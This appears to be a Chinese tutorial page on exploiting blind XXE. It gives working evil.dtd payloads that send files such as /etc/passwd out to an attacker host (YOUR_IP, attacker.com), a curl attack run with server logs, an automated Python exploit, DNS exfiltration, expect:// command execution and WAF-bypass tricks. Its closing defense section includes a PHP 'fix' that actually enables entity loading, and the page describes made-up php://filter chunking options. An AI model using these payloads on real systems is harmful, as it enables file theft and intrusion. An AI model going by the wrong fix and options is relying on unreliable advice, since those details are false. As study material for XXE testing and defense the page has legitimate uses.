1. 漏洞原理

什么是盲XXE?

盲XXE是指XML外部实体注入漏洞没有直接回显,无法在HTTP响应中看到读取的文件内容,需要通过带外(OOB)通道将数据发送到攻击者控制的服务器。

核心机制

攻击者服务器(HTTP)与目标服务器(XXE)之间的交互流程:

  1. 攻击者发送包含恶意DTD的XML请求到目标服务器
  2. 目标服务器解析XML,向攻击者服务器请求evil.dtd文件
  3. 攻击者服务器返回包含嵌套实体的evil.dtd
  4. 目标服务器解析evil.dtd,触发第二次HTTP请求
  5. 第二次请求携带读取到的文件内容发送到攻击者服务器
受害者请求 目标服务器 攻击者服务器 受害者请求 目标服务器 攻击者服务器 1. 发送恶意XML请求 2. 请求evil.dtd 3. 返回恶意DTD 4. 解析DTD,读取敏感文件 5. 外发文件内容到攻击者服务器 6. HTTP响应 7. 返回无回显的响应

为什么叫"盲"XXE?

  • 应用程序不返回任何有用的错误信息或数据
  • 攻击者无法直接看到文件内容
  • 必须通过其他通道(HTTP/DNS)将数据"带出"(Out-Of-Band)

2. 环境准备

2.1 攻击者服务器配置

# 创建工作目录
mkdir xxe_attack
cd xxe_attack

# 创建evil.dtd文件
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;
EOF

# 启动HTTP服务器
python3 -m http.server 8000

# 或者使用netcat(仅查看请求,不返回文件)
nc -lvnp 8000

2.2 替换IP地址

YOUR_IP 替换为你的实际IP:

# 查看本机IP
ip addr show | grep inet
# 或
ifconfig | grep inet

3. 参数实体嵌套详解

3.1 什么是参数实体?

参数实体是在XML DTD中定义的一种特殊实体,以 % 开头,只能在DTD内部使用。

<!ENTITY % name "value">   <!-- 定义 -->
%name;                      <!-- 引用 -->

3.2 什么是参数实体嵌套?

参数实体嵌套是指在定义一个参数实体时,其内容中包含另一个参数实体的引用,并且在解析过程中会多次展开。

3.3 完整的解析流程

第一步:定义基础实体

<!ENTITY % file SYSTEM "file:///etc/passwd">

这个定义创建了一个参数实体 %file,它指向 /etc/passwd 文件。此时文件尚未被读取,只是建立了引用关系。

第二步:定义嵌套实体

<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">

这个定义创建了参数实体 %oob,它的值是一个字符串:<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>。注意这里使用了 &#37; 而不是 %,这是为了延迟解析,避免在定义阶段就被展开。此时 %file 仍然只是字符串的一部分,没有被替换。

第三步:展开第一层实体

%oob;

执行 %oob 会将它的值(字符串)插入到DTD中的当前位置。插入后,DTD中出现了新的定义:<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>。这时 %file 依然保持着引用形式,没有展开。

第四步:展开第二层实体

%send;

执行 %send 才是真正读取数据的时候。系统看到 %send 需要展开,发现其值中包含 %file 引用,于是去读取 %file 指向的文件内容。读取完成后,将文件内容替换到URL中,最后发起HTTP请求:http://attacker.com/?data=文件内容

3.4 为什么不能直接写?

直接写的方式:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">
%send;

这种方式会失败,因为在定义 %send 时,%file 还没有被处理,它被当作普通字符串而不是实体引用。最终发起的请求URL中的参数是 %file 这个字符串,而不是文件内容。

嵌套的本质是通过两次展开强制改变解析顺序,确保文件内容读取发生在URL构造之后。


4. 基础利用

4.1 最简单的OOB payload

evil.dtd(基础版)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;

HTTP请求

POST /api.php HTTP/1.1
Host: target.com
Content-Type: application/xml
Content-Length: 270

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://YOUR_IP:8000/evil.dtd">
    %remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
    <action>maintenance</action>
    <data>test</data>
</GatewayRequest>

4.2 各协议的作用

file:// 协议:直接读取本地文件,不做编码转换。

<!ENTITY % file SYSTEM "file:///etc/passwd">

php://filter 协议:PHP专用,可以读取文件并转换为Base64编码,避免二进制数据破坏HTTP请求格式。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

expect:// 协议:可以执行系统命令(需要PHP的expect扩展)。

<!ENTITY % file SYSTEM "expect://id">

5. 高级技巧

5.1 DNS外带(无HTTP端口时)

当目标服务器无法发起HTTP请求但可以解析DNS时使用:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dns "<!ENTITY &#37; send SYSTEM 'http://%file;.attacker.com'>">
%dns;
%send;

攻击者需要监听DNS请求而不是HTTP请求。

5.2 批量读取多个文件

<!ENTITY % file1 SYSTEM "file:///etc/passwd">
<!ENTITY % file2 SYSTEM "file:///etc/hostname">
<!ENTITY % oob1 "<!ENTITY &#37; send1 SYSTEM 'http://YOUR_IP:8000/1?data=%file1;'>">
<!ENTITY % oob2 "<!ENTITY &#37; send2 SYSTEM 'http://YOUR_IP:8000/2?data=%file2;'>">
%oob1;%send1;
%oob2;%send2;

5.3 分段传输大文件

当文件过大无法一次放入URL时:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?part1=%file;'>">
%oob;
%send;

然后编写脚本接收多个分片并拼接。

5.4 使用XML注释绕过检测

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!-- 这是注释,可以插入迷惑性内容 -->
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;

6. 实战演练

6.1 完整攻击流程

攻击者终端(启动HTTP服务器)

python3 -m http.server 8000

输出示例:

Serving HTTP on 0.0.0.0 port 8000 ...

evil.dtd文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://172.21.77.98:8000/collect?flag=%file;'>">
%oob;
%send;

使用curl发送攻击请求

curl -X POST http://172.21.79.228/api.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://172.21.77.98:8000/evil.dtd">
    %remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
    <action>maintenance</action>
    <data>a</data>
</GatewayRequest>'

HTTP服务器收到的日志

172.21.79.228 - - [10/Jun/2026 22:22:03] "GET /evil.dtd HTTP/1.1" 200 -
172.21.79.228 - - [10/Jun/2026 22:22:03] "GET /collect?flag=ZmxhZ3t4eGVfdGVzdH0K HTTP/1.1" 200 -

解码Base64获取flag

echo "ZmxhZ3t4eGVfdGVzdH0K" | base64 -d

输出:flag{xxe_test}

6.2 Python自动化脚本

#!/usr/bin/env python3
import base64
import http.server
import threading
import requests
import urllib.parse

class XXEHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        pass
    
    def do_GET(self):
        if 'collect' in self.path:
            parsed = urllib.parse.urlparse(self.path)
            params = urllib.parse.parse_qs(parsed.query)
            if 'data' in params or 'flag' in params:
                data = params.get('data', params.get('flag'))[0]
                try:
                    decoded = base64.b64decode(data).decode('utf-8')
                    print(f"\n[+] 收到数据: {decoded}\n")
                except:
                    print(f"\n[+] 收到原始数据: {data}\n")
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

def start_server():
    server = http.server.HTTPServer(('0.0.0.0', 8000), XXEHandler)
    print("[*] HTTP服务器已启动,监听端口8000")
    server.serve_forever()

def exploit(target_url, attacker_ip, file_path):
    dtd_content = f'''<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource={file_path}">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://{attacker_ip}:8000/collect?data=%file;'>">
%oob;
%send;'''
    
    with open('evil.dtd', 'w') as f:
        f.write(dtd_content)
    
    payload = f'''<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://{attacker_ip}:8000/evil.dtd">
    %remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
    <action>maintenance</action>
    <data>test</data>
</GatewayRequest>'''
    
    print(f"[*] 发送payload到 {target_url}")
    print(f"[*] 尝试读取文件: {file_path}")
    
    try:
        response = requests.post(target_url, data=payload, 
                               headers={'Content-Type': 'application/xml'},
                               timeout=10)
        print(f"[*] HTTP响应状态码: {response.status_code}")
    except Exception as e:
        print(f"[*] 请求异常: {e}")

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("用法: python3 xxe.py <目标URL> [文件路径]")
        print("示例: python3 xxe.py http://172.21.79.228/api.php /flag.txt")
        sys.exit(1)
    
    target = sys.argv[1]
    file_path = sys.argv[2] if len(sys.argv) > 2 else "/flag.txt"
    
    attacker_ip = input("请输入攻击者服务器IP: ")
    
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()
    
    import time
    time.sleep(1)
    
    exploit(target, attacker_ip, file_path)
    
    print("[*] 等待数据回传... (按Ctrl+C退出)")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] 退出")

7. 常见问题

7.1 为什么data参数为空?

可能原因

  • 文件路径错误(先用 /etc/passwd 测试)
  • 权限不足(Web用户无法读取目标文件)
  • 协议不支持(php://filter在某些环境下不工作,换file://测试)
  • 文件不存在

解决方案

  1. 先用 file:///etc/passwd 测试基础功能
  2. 确认文件路径正确
  3. 尝试不同的伪协议

7.2 为什么没有第二次请求?

可能原因

  • evil.dtd语法错误
  • 缺少 %send; 触发语句
  • &#37; 写成了 %
  • 参数实体嵌套格式不正确

正确的模板

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;

7.3 libxml 2.9.0+ 如何绕过?

新版本libxml默认禁用了外部实体,但在某些配置下仍有绕过可能:

  1. 使用XML Schema注入
<GatewayRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                xsi:noNamespaceSchemaLocation="http://YOUR_IP/schema.xsd">
  1. 使用XInclude
<root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="file:///etc/passwd" parse="text"/>
</root>
  1. 使用SVG/PDF等文件格式的XXE

7.4 如何读取二进制文件?

使用Base64编码避免二进制数据破坏HTTP请求:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/bin/ls">

7.5 如何绕过WAF?

编码混淆

<!-- UTF-16编码 -->
<?xml version="1.0" encoding="UTF-16"?>

<!-- 使用HTML实体 -->
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?d=%file;'>">

拆分payload

<!ENTITY % part1 "<!ENTITY &#37;">
<!ENTITY % part2 " send SYSTEM 'http://attacker.com/?d=%file;'>">
<!ENTITY % oob "%part1;%part2;">

7.6 如何确定文件路径?

尝试常见路径

  • /flag.txt/flag/root/flag.txt
  • /var/www/html/flag.txt
  • /home/user/flag.txt
  • /app/flag.txt

通过报错信息推断

<!ENTITY % file SYSTEM "file:///nonexistent/path">

7.7 读取大文件时请求超时怎么办?

使用分片读取

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog|head -c 1000">

使用range参数(如果支持):

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog&offset=0&length=1000">

8. 防御措施

8.1 PHP修复方案

方法一:禁用外部实体(推荐)

libxml_disable_entity_loader(true);

方法二:使用安全选项加载XML

$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);

方法三:过滤DTD声明

$xml = file_get_contents('php://input');
$clean_xml = preg_replace('/<!DOCTYPE[^>]*>/', '', $xml);
$dom = new DOMDocument();
$dom->loadXML($clean_xml);

8.2 Java修复方案

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

8.3 Python修复方案

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_source, parser)

8.4 .NET修复方案

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(xmlStream, settings);

9. 快速参考

最简evil.dtd模板

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY &#37; send SYSTEM 'http://YOUR_IP:8000/collect?d=%file;'>">
%oob;
%send;

Base64解码命令

echo "BASE64_STRING" | base64 -d

HTTP服务器监听命令

python3 -m http.server 8000

测试连通性命令

curl -X POST http://target.com/api.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://YOUR_IP:8000/test">
]>
<root>&xxe;</root>'

10. 总结

成功利用盲XXE的关键点

  1. 确认目标存在XXE漏洞(能够发起外部请求)
  2. 确保目标服务器能够访问攻击者服务器
  3. evil.dtd语法正确,使用 &#37; 编码 % 符号
  4. 包含 %send; 或类似的触发语句
  5. 文件路径正确且可读
  6. 正确解码Base64获取最终内容

实战检查清单

  • 攻击者HTTP服务器正常运行
  • evil.dtd可被目标访问
  • 第一次请求日志中出现GET evil.dtd
  • 第二次OOB请求日志中出现GET /collect?data=…
  • data参数包含Base64编码的内容
  • 成功解码获取目标文件内容

盲XXE的优势

  • 不需要响应中回显数据
  • 可以绕过回显过滤
  • 可以读取二进制文件
  • 可以扫描内网服务
  • 可以执行系统命令(expect协议)

盲XXE的局限

  • 需要目标服务器能够出网
  • 需要攻击者有公网或内网可达服务器
  • libxml 2.9.0+有默认限制
  • 某些协议可能被禁用
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐